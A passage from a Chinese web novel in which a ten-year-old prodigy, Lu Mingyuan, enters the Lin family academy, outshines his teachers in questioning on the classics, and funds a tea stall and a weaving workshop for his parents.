他激动地搓着手,之前那点因不能宣传而产生的失落,早已被这巨大的惊喜冲得无影无踪。 “够了!太够了!” 林远峰连连点头,将稿纸视若珍宝地锁进柜台下的暗格里,这才抬起头,好奇地问道。 “对了,陆兄,你说的府学……是哪一家?高家还是我们林家?” “林家府学。” 陆明渊答道。 话音刚落,林远峰僵在了原地,嘴巴微微张开,半晌才找回自己的声音,语调都变了。 “你……你说哪家?” “林家府学。” 陆明渊又重复了一遍。 林远峰一拍大腿,绕着陆明渊走了两圈,脸上的表情精彩至极,从震惊到狂喜,最后化为一种哭笑不得的感慨。 “这真是……真是大水冲了龙王庙,一家人不认一家人了!陆兄,你可知,我便是林家人!” 陆明渊眼中闪过一丝恰到好处的惊讶,随即了然:“原来如此,倒是巧了。” “何止是巧!这简直是天赐的缘分!” 林远峰激动得满脸通红,他一把拉住陆明渊的胳膊,压低声音道。 “陆兄,你听我说,府学那边你不用操心了!我有个叔叔,虽未在府学挂职,但学问却是整个江陵县都数一数二的!” “你入学之后,我便去求他,让他私下里为你开蒙解惑,亲自教导你!” 见陆明渊面露思索,林远峰赶忙补充道。 “你别看我这位叔叔如今赋闲在家,他当年可是大乾文帝三十年的二甲进士!” “若非是在京中得罪了权贵,性子又过于刚直,如今至少也是一州知府!” “他的学问,比起府学那些教习,只高不低!你跟着他学,绝对错不了!” “日后待你根基扎实了,我们林家再为你寻一位真正的名师大家!” 这番话语中透露出的信息,让陆明渊心中微动。 他对着林远峰郑重一揖:“那便……多谢林兄美意了。” “你我兄弟,说这些就见外了!” 林远峰高兴地摆摆手,又道。 “明日你便要去报到了,府学里有些门道,我需与你分说一二。” 他拉着陆明渊在茶桌旁坐下,细细讲了起来。 从府学内部的派系之分,到哪些教习脾气古怪,再到哪些学子家世显赫不可轻易招惹,事无巨细,皆一一道来。两人这一聊,便是半个时辰。 眼看天色渐晚,林远峰意犹未尽地一拍桌子。 “不成!今日你我兄弟相认,又喜获案首,双喜临门,必须好好庆贺一番!” “走,我已让下人去望江楼定了席面,咱们不醉不归!” 陆明渊却笑着站起身,摇了摇头。 “林兄好意心领了。只是家中父母尚在等我回去用饭,不敢在外耽搁太久。” 听到这个理由,林远峰脸上的热情没有丝毫减退,反而多了一丝敬重。 他知道陆明渊家境普通,这份孝心便显得尤为可贵。 “是我想得不周到了。” 他立刻点头,爽快地道,“那便改日,改日我备上厚礼,亲自登门拜访伯父伯母,再与陆兄痛饮!” 他问明了陆家村的住址,亲自将陆明渊送出翰墨轩的大门,看着他的背影消失在街角,脸上的笑意久久未散。 陆明渊没有直接回家,而是拐进了街市。 他称了二斤五花肉,又买了些新鲜的青菜和一小包弟弟爱吃的麦芽糖。 当他提着东西回到自家小院时,父母的身影立刻迎了出来。 “渊儿回来了!” 王氏见他手里提着肉,脸上笑意更浓,嗔怪道。 “又乱花钱,家里还有菜呢。” 嘴上虽这么说,手却利落地接过东西,转身进了厨房,很快,锅碗瓢盆的碰撞声和诱人的油香便传了出来。 陆从文则默默地接过儿子肩上的书袋,帮他拍去身上的尘土,憨厚的脸上满是满足与骄傲。 院中的石桌上,一盘切好的瓜果早已备好。 陆明渊洗了手,坐下来,拿起一卷书,就着渐渐亮起的灯火静静翻阅。 三岁的陆明泽则搬了个小板凳,乖巧地坐在哥哥身边。 小手里捏着一块麦芽糖,小口小口地舔着,一双乌溜溜的大眼睛满足地眯成了月牙。 陆明渊看着眼前这温馨的一幕,心中感慨万分! 这就是他追求的生活! 第064章 这便是下马威 三日时光,转瞬即逝。 陆明渊换上了一身青布儒衫,衬得他身姿挺拔,眉目清朗。 他辞别了父母,独自一人走向城东的林家府学。 府学门前,早已是车马喧嚣,人头攒动。 青石板铺就的宽阔地面上,停着数辆装饰华美的马车,一群群身着锦缎绸衫的少年郎君聚在一起,高谈阔论,意气风发。 他们是江陵县各大士绅家族的子弟,生来便立于云端,俯瞰着寻常百姓。 府学朱红色的大门两侧,围着不少前来求学的学子! 他们伸长了脖子,都在等待着一个人的出现——本届县试的新科案首,陆明渊。 “听说了吗?今年的案首,是个泥腿子出身!” “十岁案首,闻所未闻啊!不知是何等样貌,是不是生了三头六臂?” “呵,乡野小子,不过是走了狗屎运,侥幸罢了。” “府学里的学问,可不是田间地头那点粗浅功夫能比的。” 议论声嘈杂,其中不乏酸涩与轻蔑。 陆明渊行至近前,脚步未停,神色亦未变分毫。 他仿佛没有听见那些刺耳的议论,也没有看见那些审视的目光,只是平静地穿过人群,走向那扇厚重的大门。 就在他即将踏上台阶之时,几个衣着尤为华贵的少年有意无意地挡在了他的身前。 为首一人,面容白净,眼神却带着几分倨傲,正是赵家的小少爷,赵文博。 赵文博上下打量了陆明渊一番,目光在他的旧儒衫和布鞋上停留了片刻,嘴角勾起一抹讥诮的弧度。 “这位想必就是陆案首了?” 他摇着手中的折扇,语调拉得老长。 “闻名不如见面。只是……陆案首这身行头,未免太过朴素了些。” “圣人云‘衣冠不整,则礼仪不肃’,陆案首莫不是将圣人教诲,都忘在了乡野的田埂上了?” 这话语极为刻薄,周围顿时响起一片压抑的窃笑声。 这便是下马威。 他们想看的,是这个农家子窘迫、愤怒,乃至失态的模样。 陆明渊却只是淡淡地看了他一眼,那目光平静得像一汪古井,不起丝毫波澜。 他没有动怒,甚至连眉梢都未曾挑动一下,只是平静地开口道: “《论语》有云:‘君子谋道不谋食,忧道不忧贫。’” 他声音清朗,字字清晰,仿佛珠玉落盘,瞬间盖过了所有的嘈杂。 “衣衫不过蔽体之物,学问方是立身之本。若心思皆在绫罗绸缎之上,又何谈‘为天地立心,为生民立命’?” 一番话,引经据典,不卑不亢,掷地有声。 赵文博脸上的笑容僵住了。 他本想用圣人言来羞辱对方,却不料反被对方用更根本的圣人大道给堵了回来。 他感觉自己像是一拳打在了棉花上,不仅没伤到人,反而显得自己格局狭小,斤斤计较。 周围的窃笑声戛然而止,取而代之的是一片惊异的寂静。 那些原本等着看好戏的学子,看向陆明渊的眼神也变了。 他们本以为这只是个运气好的农家小子,却没想到竟有如此气度与口才。 陆明渊不再看他们,径直从他们身侧走过,踏上了府学的台阶,身影消失在朱红大门之后。 赵文博脸色一阵青一阵白,握着折扇的手指因用力而微微发白。 他身旁一人低声道:“赵兄,这小子……有点门道。” “哼,不过是牙尖嘴利罢了!” 赵文博冷哼一声,“进了这府学,是骡子是马,很快便见分晓!” …… 府学的教室名为“明德堂”,堂内宽敞明亮,数十张黑漆书案整齐排列。 陆明渊寻了个靠窗的位置坐下,静静地从书袋中取出笔墨纸砚,从容布置。 不多时,一位山羊须、面容清瘦的教习先生走了进来。 他姓周,是府学的老教习,负责启蒙教导新入学的童生。 周教习的目光在堂内扫了一圈,最后落在了陆明渊身上。 县试案首的名头,他自然是听过的。 只是在他看来,十岁案首,多半是有些小聪明,或是记性好些罢了,当不得真。 “你便是陆明渊?” 周教习开口,声音平淡。 “学生正是。” 陆明渊起身,恭敬行礼。 “嗯。”周教习点了点头,随口问道。 “《大学》首句,为何?” “大学之道,在明明德,在亲民,在止于至善。” 陆明渊对答如流。 “何为‘明明德’?” “‘明德’者,人之所得乎天,而虚灵不昧,以具众理而应万事者也。” “然为气禀所拘,人欲所蔽,则有时而昏。学者当因其所发而遂明之,以复其初也。” 周教习眼中闪过一丝讶异。 这番回答,不仅仅是背诵,而是有了自己的理解,已是得了朱子集注的精髓。 他不信邪,又接连问了几个关于《中庸》和《论语》的义理问题。 这些问题由浅入深,渐渐偏向生僻。 然而,无论他问什么,陆明渊总能从容应答,引经据典。 陆明渊不仅条理清晰,还能举一反三,阐发出更深层的含义。 教室内,渐渐安静下来。所有学子都停下了手中的动作,屏息凝神地听着这一场突如其来的考教。 周教习的额角,渐渐渗出了细密的汗珠。 他发现自己能问的问题,已经越来越少了。 这个十岁的少年,其经义积累之深厚,见解之通透,竟隐隐有超越自己之势! 这怎么可能! 他深吸一口气,抛出了最后一个问题,一个连他自己都未曾完全想通的难题。 “《孟子·尽心上》言‘尽其心者,知其性也’,又言‘存其心,养其性’,‘尽心’与‘存心’,有何异同?” 此问一出,满堂皆静。 这个问题已然超出了童生,乃至秀才的范畴,涉及到了心性之学的根本。 陆明渊略一思索,便开口道。 “学生浅见。‘存心’者,是固守本心,不为外物所移,乃守成之功。‘尽心’者,是推己及人,将本心之善推及万物,乃开拓之道。一为内圣,一为外王。存心是体,尽心是用。二者相辅相成,缺一不可。” 话音落下,周教习呆立当场,半晌说不出话来。 陆明渊的这番解释,鞭辟入里,简明扼要,竟如醍醐灌顶,让他心中困惑许久的迷雾豁然开朗! 他看着眼前这个神情平静的少年,心中只剩下两个字:妖孽! 他擦了擦额头的汗,苦笑一声,对着门外高声道。 “来人,速去请三爷过来!就说……就说我这里,有个学生,我教不了!” 此言一出,满堂哗然! 很快,一个身穿藏青色长衫,面容儒雅,眼神深邃的中年人走了进来。 他便是林远峰口中那位得罪权贵、赋闲在家的二甲进士,林家三爷,林天元。 林天元如今在府学中,虽无教习之名,却有总揽教务之实,是所有教习的先生。 他听周教习附耳说了几句,眼中精光一闪,看向陆明渊,温和地笑道。 “你就是陆明渊?不必拘谨,坐下说话。” 他没有再问经义,反而问了些极其刁钻的问题。 “《山海经》所载‘贯匈国’,其人胸有大洞,若以医家经络之学论之,此洞当在何处?” “前朝《水经注》对江陵县水文记载有三处错漏,你可知是哪三处?” “大乾开国,太祖皇帝分封天下,为何独独在湖广之地,设布政使司,而非沿用前朝旧制?” 这些问题,天南海北,涉及地理、杂学、本朝制度,早已超出了科举范畴。 教室内,刚刚还对陆明渊心服口服的学子们,此刻都长长舒了一口气。 他们一个问题也答不上来,心想这个陆明渊总该被难住了吧。 果然,陆明渊在听完问题后,起身,郑重一揖。 “回先生话,这几本书,学生……都未曾看过,不知如何作答。” 他神情坦然,没有丝毫的窘迫与羞惭。 教室内的众人,包括赵文博在内,都如释重负。 原来他也不是全知全能,这世上,终究还是有他不知道的东西。 林天元却笑了,眼中满是欣赏。 这份不知为不知的坦诚,比之前的对答如流,更让他看重。 “好。” 他点了点头,“你随我来。” 考教结束了。 林天元将陆明渊带到了一间清雅的书房,亲自为他倒了一杯茶。 “你不用紧张。”林天元的声音温和而有力。 “我只想知道,你入学之前,都读了哪些书?如今学到了何等地步?” 陆明渊没有隐瞒,将自己这三个月来的苦读如实相告。 从《四书五经》到诸子百家,再到一些浅显的史书,他背了哪些,又精读了哪些,都一一说了出来。 林天元静静地听着,端着茶杯的手,在空中微微一顿。 他脸上的神情,从最初的温和,渐渐变为惊讶,最后化为一片深不见底的震撼。 第065章 为学者,当胸有丘壑,放眼天下 三个月! 仅仅三个月,一个十岁的孩子,竟读完了旁人十年寒窗也未必能啃完的书卷! 而且听他所言,并非囫囵吞枣,而是真正地理解消化了! 林天元心中掀起了惊涛骇浪,一个念头不可抑制地冒了出来。 此子,莫非……拥有过目不忘之能? 想到这里,他内心无比欣喜,仿佛发现了一块未经雕琢的绝世璞玉。 他压下心中的激动,从书架上取下几本泛黄的线装书,递给陆明渊。 “这些是前人对《禹贡》和《水经》的地理注解,你先拿去看。经义是你之长,但不可偏废。为学者,当胸有丘壑,放眼天下。” 他顿了顿,又严肃地说道:“另外,从今日起,你每日需巩固一本圣人经义,温故而知新。我会每日考校你的进度。” “学生遵命。” 陆明渊郑重地接过书,躬身应下。 第一日的府学生活,就在这紧张而充实的考教与学习中结束了。 夕阳西下,余晖将学子的身影拉得老长。陆明渊收拾好书袋,独自一人走在回家的路上。 “陆……陆兄,请留步。” 一个略带靦腆的声音从身后传来。 陆明渊回头,看到一个比他大上三四岁的少年,穿着普通的棉布衣衫,正快步追上前来。 “陆兄,我叫张晨,家也住在城西,我们……顺路。” 少年挠了挠头,有些不好意思地说道。 陆明渊认得他,是教室里坐在角落的一个学子,一天下来,都没怎么说话。 “好。”陆明渊点了点头,放缓了脚步。 两人并肩而行,一路无话,气氛却并不尴尬。 直到快到陆明渊家门口的巷子,张晨才鼓起勇气,低声说了一句:“陆兄,你今日……很厉害。” 说完,他脸一红,便匆匆告辞,拐进了另一条巷子。 陆明渊笑了笑,看着他的背影,转身推开了自家的院门。 “渊儿回来了!” 正在灶房门口张望的母亲王氏第一个看见他,脸上立刻绽开了笑。 她快步走过来,一边在他身上拍打着并不存在的灰尘,一边絮絮叨叨地问。 “饿坏了吧?学里怎么样?先生可还和善?那些同窗……有没有欺负你?” 父亲陆从文也站了起来,他不像妻子那般外露,只是将手中的旱烟杆在鞋底上磕了磕,目光却一直紧紧跟随着儿子。 “府学很好,先生们学问渊博,同窗也都还好。” 他没有提赵文博的挑衅,也没有讲周教习的考教与林三爷的青眼,只拣了些平顺安稳的说了。 这些风波,由他一人担着便好,不必让父母跟着悬心。 王氏听他这么说,这才真正松了口气,拉着他到桌边坐下。 “快,快坐下吃饭,娘给你炖了鸡汤,补补脑子。” 陆明渊刚一落座,一个小小的身影就从桌子底下钻了出来,一下子扑进他怀里。 “哥!” 是弟弟陆明泽,今年才五岁,虎头虎脑。 他小手里攥着一个洗得干干净净的红皮野果,高高举到陆明渊嘴边,奶声奶气地喊:“哥,吃!” 陆明渊笑着张开嘴,轻轻咬了一小口,夸张地赞道:“真甜!” 陆明泽立刻咯咯地笑了起来,像是完成了什么了不得的大事,心满意足地缩在哥哥怀里。 他抱着那被咬了一口的果子小口小口地啃。 父母关心他今日在府学过得好不好,是怕他在外面受了委屈。 弟弟关心他有没有吃东西,是怕他饿着肚子。 这世间最真挚的关怀,大抵便是如此了。 陆明渊抱着温软的弟弟,看着灯下父母慈爱的脸庞,心中涌起一股前所未有的暖流与坚定。 他有家,有需要他守护的亲人。 为了这份温暖,为了这份幸福,科举之路,他必须走下去,而且要走得比任何人都高,都远。 他一定要高中,光耀门楣,让家人再不必为生计发愁,再不必看人脸色。 这顿晚饭,吃得温馨而宁静。 饭后,王氏手脚麻利地收拾着碗筷。 陆明渊则注意到,父亲陆从文又拿起了那杆早已熄灭的旱烟,有一口没一口地抽着空烟,眉头紧锁,眼神飘忽,透着一股难以言说的怅然。 从村里搬到县城,母亲每日忙着操持家务,尚有事情可做。 可父亲呢?他是个地地道道的庄稼人,一身的力气和侍弄庄稼的本事,在这青砖黛瓦的县城里,却没了用武之地。 就像一头习惯了耕地的老牛,被突然关进了方寸大小的栏圈,浑身都不自在。 陆明渊心中了然。 他走进自己房间,从书袋的夹层里取出一个用布包着的钱袋,掂了掂,有些分量。 这是他拿到县试案首后,县衙发下来的赏银,一共五十两。 他留下二十两备用,其余的,早已想好了用处。 他走到陆从文身边,将钱袋轻轻放在桌上,推了过去。 “爹。” “嗯?” 陆从文回过神,看着桌上的钱袋,愣了一下,“这是……” “这里是三十两银子。” 陆明渊的声音平静而清晰。 “爹,我知道您在愁什么。咱们家不能总靠我这点赏银过活,坐吃山空。” “县城里不比乡下,处处都是营生。您看是盘个小铺子,做点熟食买卖,还是去码头寻个管事的活计,总得有个长久的打算。” 陆从文的脸瞬间涨红了,猛地将钱袋推了回来,声音也大了几分。 “胡说!我一个大男人,哪能用你的钱!这是你的前程,是让你读书用的!” “爹,” 陆明渊没有退缩,目光沉静地看着父亲。 “钱是死的,人是活的。我读书是为了什么?不就是为了让您和娘,还有明泽能过上好日子吗?” “现在有这个机会,为什么不用?再者,这钱放在我这里,它不会生崽。” “可若是在您手里,变成了营生,就能钱生钱,往后家里的开销,我读书的花费,不就都有了着落?” 他顿了顿,语气放缓了些,带着不容置疑的信服力。 “县城里机会多,您若是一时没有头绪,我也可以帮您参详参详。” “比如城东的脚夫行,每日人来人往,咱们可以支个茶水摊子,卖些大碗茶和肉包子,本钱小,见效快。” 一番话说得条理分明,入情入理。 陆从文愣住了,他看着自己这个年仅十岁的儿子,那眼神,那口气,哪里像个孩子,分明比他这个当家的还要看得长远,想得周全。 他想反驳,却发现儿子说的每一个字都敲在了理上,让他无从反驳。 是啊,他不能总这么闲着,让全家的重担都压在渊儿一个人身上。 王氏也走了过来,拿起钱袋,塞进丈夫粗糙的大手里,眼圈微红。 “当家的,就听渊儿的吧。孩子有出息,是咱们的福分,咱们不能拖累他。” 陆从文握着那沉甸甸的钱袋,像是握着千斤重担。 他看着陆明渊,嘴唇翕动了半天,最终重重地点了点头,沙哑着嗓子道。 “好……爹听你的。爹保证,绝不会让你失望!” 这一刻,这个家的顶梁柱,仿佛又重新找到了自己的位置和方向。 家事暂定,陆明渊心中的一块石头也落了地。 他回到自己的房间,关上门。 书桌上,一盏油灯如豆,静静燃烧。 他将林天元给的那几本关于《禹贡》和《水经》的地理注解拿了出来,书页泛黄,墨香混着古旧纸张的气息,让人心神宁静。 “为学者,当胸有丘壑,放眼天下。” 林三爷的话,犹在耳边。 陆明渊深以为然。科举考的是经义文章,但一个人的格局与眼界,却绝不能仅仅局限于四书五经。 地理、水文、历史、制度……这些看似无用的“杂学”,恰恰是构成一个完整世界观的基石。 知天下,方能治天下。 他没有急着翻阅新书,而是按照林天元的吩咐,先从书袋中取出了《大学》,开始默诵巩固。 “大学之道,在明明德,在亲民,在止于至善……” 清朗的诵读声在小小的书房内低低回响。 温习完毕,他铺开一张半旧的宣纸,取墨,研磨。 墨锭在砚台上缓缓打着圈,清寂的声响里,他的心也随之沉淀下来,古井无波。 提笔,悬腕。 笔尖饱蘸墨汁,在纸上从容落下。 他练的,是当朝流行的馆阁体,一笔一划,工整隽秀,法度森严。 这是科场上的敲门砖,容不得半点马虎。 灯火摇曳,将他专注的身影投在墙上,拉得细长。 第066章 销路的事情,交给我 一夜无话,晨光熹微。 第二日再入府学,周遭的空气似乎都变得不同。 昨日的审视与轻蔑已然不见,取而代之的是一种混杂着敬畏与好奇的注目。 那些锦衣少年们不再高谈阔论,见他走过,甚至会下意识地收敛声息,微微颔首。 实力,永远是世间最硬的通行文书,哪怕是在这文风鼎盛之地。 他依旧寻了昨日靠窗的位置坐下,刚铺开书卷,便有教习前来,恭敬地请他去一趟三爷的书房。 还是那间清雅的书房,只是今日的林天元,态度比昨日又温和了数分,甚至带上了一丝长辈对待晚辈的亲近。 “坐。” 他指了指对面的椅子,亲自为陆明渊斟上一杯热茶,氤氲的雾气模糊了他儒雅的面容。 “昨日回去,睡得可好?” “谢先生关心,学生睡得安稳。” 陆明渊不卑不亢地应道。 林天元笑了笑,从书案的镇纸下,抽出了一封信笺,推至陆明渊面前。 信封的火漆早已拆开,上面的字迹古拙而有力,透着一股山野间的风骨。 “这是你启蒙恩师,赵夫子的信。” 林天元的声音温和,“昨日我还在想,是何等名师,才能教出你这般的弟子。看了信,我才明白,是我林家浅薄了。” 陆明渊心中微动,目光落在信笺上,却没有伸手去拿。 林天元继续说道。 “赵夫子在信中言明,你……有过目不忘之能。此等天赋,万中无一,若以寻常教法待之,反倒是耽误了你。” “我林家府学,虽在江陵县薄有微名,但终究池子太浅,养不下你这条真龙。” 他的话语中,没有丝毫嫉妒,只有对才学的由衷敬佩与一丝未能亲手雕琢璞玉的遗憾。 “赵夫子已为你寻好了真正的老师,不日便会有消息传来。他既有此安排,我林家便不自取其辱了。” 林天元看着陆明渊,眼神郑重。 “不过,在那位先生到来之前,这府学,你仍可来。藏书楼对你尽数开放,所有教习,你皆可随时问询。” “科举应试的章法、时文的格式,这些俗务,我们会倾囊相授,为你铺平这第一步路。” 陆明渊起身,对着林天元深深一揖。 “学生,谢过三爷。” 这份坦诚与气度,远比藏私或强留,更令人心折。 同时,一个巨大的疑惑在他心中升起。 赵夫子……究竟为自己找了怎样一位老师? 竟能让身为二甲进士、主持一方府学的林天元如此敬重,甚至说出“不自取其辱”这样的话来。 能让一位举人都如此推崇备至,那位未曾谋面的先生,又该是何等经天纬地的人物? 陆明渊的心中,第一次对这方世界的高处,生出了无比真切的好奇与向往。 回到明德堂时,堂内的气氛已然热烈起来。 昨日陆明渊那番惊艳的对答,早已传遍了整个府学。 如今的他,在众学子眼中,不再是那个侥幸得中的乡野小子,而是一个深不可测的学问大家。 “陆兄,早。” “陆案首,这边坐。” 不少学子主动与他打着招呼,言语间满是亲近。 甚至有人拿着自己昨夜苦思冥想不得其解的文章,前来向他请教。 “陆兄,你看我这篇破题,‘民为贵’三字,我总觉得气势弱了些,不知该如何改动?” 陆明渊接过文章,只扫了一眼,便温声道。 “‘民为贵’,其根基在‘得乎丘民者为天子’。兄台此文,立意在君王当以民为本,固然不错,但格局稍小。或可将视角拔高,论述水能载舟亦能覆舟之理,言明‘民心’即‘天心’,则文章气象,自当不同。” 寥寥数语,直指核心,那学子闻言如遭雷击,呆立半晌,随即大喜过望,对着陆明渊连连作揖。 “听君一席话,胜读十年书!多谢陆兄指点!” 陆明渊为人谦和,但凡有人询问,皆是倾心解答,毫无藏私。 渐渐地,他的书案前竟围拢了一小群人,俨然成了明德堂内一个新的中心。 众人与他关系渐渐亲近,几名性情豪爽的学子,已然熟络地搂着他的肩膀,笑称“陆兄”,高声邀请他放学后去家中酒楼一叙。 “陆兄这般才学,待日后高中,我等也好攀个同年之谊啊!” “改日,改日一定。” 陆明渊笑着推辞,一一应下。 一时间,教室内气氛和谐,其乐融融。 唯独在教室的角落里,有一道目光,如寒冬里的冰棱,冷冷地注视着这一切。 那是一个身着月白长衫的少年,面容俊朗,气质却颇为孤高。 他坐得笔直,身前的书案收拾得一丝不苟,与其他人的喧闹格格不入。 他叫陈子修,是隔壁清远县的县试案首。 清远县比江陵县更为富庶,文风也更盛。 能在那样的竞争中夺魁,陈子修的才学自是毋庸置疑。 他本是心高气傲之辈,慕林家府学之名,特意跨县前来求学,本以为自己会是这一届学子中最耀眼的存在。 可谁曾想,半路杀出个陆明渊。 同样是案首,众人却只围着那个泥腿子出身的陆明渊转,对他这个清远县魁首,却只是点头之交,客气而疏离。 凭什么? 陈子修握着毛笔的手指微微收紧,笔尖在砚台上重重一顿。 他觉得陆明渊抢走了本该属于自己的所有风光。 对于那道冰冷的目光,陆明渊并非没有察觉。 他有更重要的事情要做,无暇为路边的顽石驻足。 一日的府学时光,在融洽的氛围中悄然流逝。 夕阳熔金,倦鸟归林。 陆明渊回到家中,熟悉的饭菜香气如约而至。 “哥!” 弟弟陆明泽像个小炮弹一样冲过来,熟练地抱住他的大腿。 饭桌上,一家四口,其乐融融。 父亲陆从文眉宇间的愁云已经散去,正兴致勃勃地讲着今日在城东茶摊的见闻,言语间充满了对未来的规划与干劲。 吃完了晚饭,王氏一边收拾碗筷,一边有些迟疑地开了口。 “渊儿,你爹的营生有了着落,娘也不能闲着。我今天去打听了,城南有几家大的绸缎庄,都在往外放活计,接些纺织的零活。虽然挣得不多,但也能贴补些家用……” 她的声音里,带着一丝期盼,想为这个家多尽一份力。 陆明渊放下手中的书卷,看着母亲那双因常年劳作而显得有些粗糙的手,摇了摇头。 “娘,不必去。” 王氏愣了一下,“为何?娘有的是力气……” “娘的手艺,去做那些零活,太屈才了。” 陆明渊的声音不大,却异常坚定。 他转身回到房中,从自己那个小小的积蓄箱里,取出了一个厚实的钱袋,放在了母亲面前。 钱袋落在桌上,发出一声沉闷的金属撞击声。 “这里是一百两银子。” 王氏和陆从文都惊呆了,一百两,对于他们这样的家庭,无疑是一笔天文数字。 “渊儿,你这是……” 王氏的声音都有些颤抖。 陆明渊将钱袋解开,白花花的银锭在灯下闪着诱人的光泽。 “娘,您的纺织手艺,是我见过最好的。咱们村里,乃至整个江陵县,都找不出几个比您更好的。” 这不是恭维,而是事实。 “与其去给别人做零活,挣那点辛苦钱,不如我们自己开一个小的纺织作坊。” 陆明渊的眼中,闪烁着与他年龄不符的深邃光芒,那是一种对未来的精准规划。 “我们不求大,先买两架最好的织机,再买最好的桑蚕丝。” “娘,您什么都不用管,就专心织布,织出您能织出的、最好的云锦和绸缎。” “可是……可是织出来了,卖给谁啊?那些大绸缎庄,都有自己的门路,不会收我们这种小作坊的东西的。” 王氏担忧地说道,这是最现实的问题。 陆明渊笑了,笑容里充满了自信。 “销路的事情,交给我。” 他看着母亲,一字一句地说道。 “只要母亲能纺织出真正顶尖的布匹,我就有办法,让它卖出比市面上任何绸缎都高的价格!” 他有这个底气。 他知道这个时代布匹染色的缺憾,更知道,如何去创造“物以稀为贵”的价值。 一个只为顶层权贵服务的奢侈品牌雏形,已在他心中悄然构建。 王氏怔怔地看着自己的儿子,看着他那双明亮而坚定的眼睛。 “好……好!” 她握紧了那袋沉甸甸的银子,眼中泛起了泪光。 “娘听你的!娘一定织出最好的布来!” 第067章 一体两面,缺一不可 时光如逝,一个月的时间眨眼间流逝! 府试,只余七日。 林家府学内的气氛,也变得愈发凝重。 这一个月,陆明渊几乎将府学的藏书楼当成了自己的家。 他不再局限于四书五经,那些被学子们视为“杂学”的书籍,成了他的新宠。 从描绘山川地理的《山河注》,到记录风土人情的《异域闻见录》,再到剖析历代漕运、盐铁之政的《国朝经世录》。 这些文字,为他勾勒出了一幅远比经义文章更加宏大、也更加真实的大乾王朝舆图。 这个世界,不再是书本上扁平的文字,而是有了山川的脉络,有了江河的流向。 同样也有了南北迥异的口音与习俗,有了盘根错节的利益与纷争。 他的见识,如江河入海,迅速开阔。 这种变化,最直观地体现在了他的文章上。 他的破题,依旧精妙,但立论却愈发高远。 旁人论一事,他能看到事后的三步;旁人论一策,他能看到策前的根源。 林天元为此数次将他叫到书房,两人不再是师生问答,更像是知己对弈。 往往一杯茶喝到半凉,林天元还沉浸在陆明渊文章的意境中,久久不语,最终只化为一声长叹。 “明渊,你之才学,已非‘案首’二字可以局限。” 这位儒雅的三爷看着陆明渊,眼中是毫不掩饰的欣赏与期许。 “此次府试,若无意外,魁首之位,非你莫属。” 林三爷的赞誉,如一颗石子投入了本就不平静的学堂。 “府试魁首?这……未免也太过了吧?” “是啊,陆兄才学我等是佩服的,可府试与县试,根本不可同日而语。江陵府下辖八县,哪个县的案首不是人中龙凤?” “我听说,府城里好几位学子,都是在府学苦读了十年以上的老前辈,文章火候醇熟,根基之厚,我等望尘莫及。陆兄才来一月,如何能比?” 议论声在学堂的各个角落里响起,其中并无多少恶意,更多的是一种基于现实的判断。 科举之路,从来不是只靠天赋就能一蹴而就的通天大道,更多的是水磨功夫,是寒窗十载的苦熬。 陆明渊一个月间的进步,他们看在眼里,惊在心里。 可府试这道天堑,横亘在所有童生面前,太过险峻。 在他们看来,陆明渊能顺利通过府试,便已是天赋异禀,堪称奇迹。 至于夺魁?那是想都不敢想的事情。 角落里,陈子修听着周遭的议论,嘴角勾起一抹微不可查的冷笑。 他将手中的狼毫笔轻轻搁在笔架上,动作一丝不苟。 这一个月,他拼尽全力,将自己关在书房,日夜苦读,自认文章大有进境。 他就是要让所有人看看,谁才是真正的天之骄子。 那个乡下来的泥腿子,不过是昙花一现罢了。 府试的考场,会让他认清自己和真正世家子弟的差距。 对于这一切的风波,陆明渊置若罔闻。 他人的赞誉或质疑,于他而言,不过是风过林梢,雁过长空,留不下丝毫痕迹。 他的目标,从来不在于与这些同窗一较长短。 他的目光,早已越过了这座小小的府学,望向了更远的地方。 完成了一日的课业,谢绝了几位同窗饮宴的邀请,陆明渊背着书箧,踏着夕阳的余晖向家中走去。 如今的家,早已变了模样。 父亲陆从文在城东盘下了一个小小的茶摊,凭着憨厚老实的性子和公道的价格,生意竟也红红火火。 他每日里迎来送往,听着南来北往的茶客们高谈阔论,眉宇间的愁苦一扫而空,整个人都透着一股鲜活的劲头。 而母亲王氏,则成了那个小小纺织作坊的主心骨。 两架崭新的织机日夜不息,在她的巧手下,一匹匹光泽流转、纹理精美的云锦缓缓成形。 那些布匹,陆明渊并未急着出售,而是悉心存放起来,他在等一个最好的时机。 刚推开院门,一股熟悉的、混杂着艾草与墨香的气息便扑面而来。 院中的石桌旁,一道清瘦而矍铄的身影正端坐着,手中捧着一杯清茶,悠然自得。 母亲王氏正陪在一旁,脸上带着发自内心的尊敬与喜悦。 “先生?” 陆明渊又惊又喜,快步上前,深深一揖。 “学生陆明渊,拜见赵夫子!” 来人,正是他的启蒙恩师,赵夫子。 “哈哈,起来,起来!” 赵夫子放下茶杯,连忙起身扶住他,一双不算大的眼睛里,满是欣慰与骄傲。 他上上下下地打量着陆明渊,不住地点头。 “好,好啊!进城一个月,精气神都不同了,更挺拔了!” 王氏笑着端来一盘新切的瓜果:“先生,您慢用。你们师生聊,我去准备晚饭。” 待王氏走后,赵夫子脸上的笑容微微收敛,重新坐下,指了指对面的石凳。 “坐。让我考教考教你,看这一个月,是在林家府学里用功苦读了,还是被县城的繁华迷了眼,把学问给落下了。” “学生不敢懈怠。” 陆明渊依言坐下,身形笔直。 赵夫子并未拿出经义考他,而是呷了口茶,慢悠悠地问道。 “我且问你,前朝大儒顾亭林曾言,‘天下兴亡,匹夫有责’。而当朝户部尚书,张居正亦有言,‘知责任者,大丈夫之始也’。此二者,皆言‘责任’二字,你以为,其间有何异同?” 这个问题,已然超出了寻常童生的范畴,直指本心与格局。 陆明渊略一思索,便沉声应道。 “回夫子话。学生以为,顾先生所言之‘责’,在‘天下’。是为往圣继绝学,为万世开太平的宏愿,是士大夫对家国天下的担当。其责,重逾山岳,非大毅力、大智慧者不能担。” “而张尚书所言之‘责’,在‘吾身’。是为人子之孝,为人臣之忠,为人友之信。是先修吾身,而后齐家,再及治国平天下。其责,始于毫末,人人皆可为,也人人皆当为。” “前者是‘道’,是方向,是读书人仰望的星空;后者是‘术’,是根基,是吾辈脚下的土地。” “无后者之积累,则前者为空谈;无前者之引领,则后者易陷于私利。二者,一体两面,缺一不可。” 一番话,不急不缓,条理清晰,见解深刻。 赵夫子静静地听着,原本只是微笑着的脸庞,渐渐变得肃穆,眼中更是异彩连连。 待陆明渊话音落下,他沉默了许久,才长长地吐出一口气,仿佛将胸中的震撼尽数吐出。 “好……好一个‘一体两面,缺一不可’!” 赵夫子一拍大腿,看向陆明渊的眼神,已经不再是看一个聪慧的学生,而是在看一块即将绽放出万丈光芒的绝世美玉。 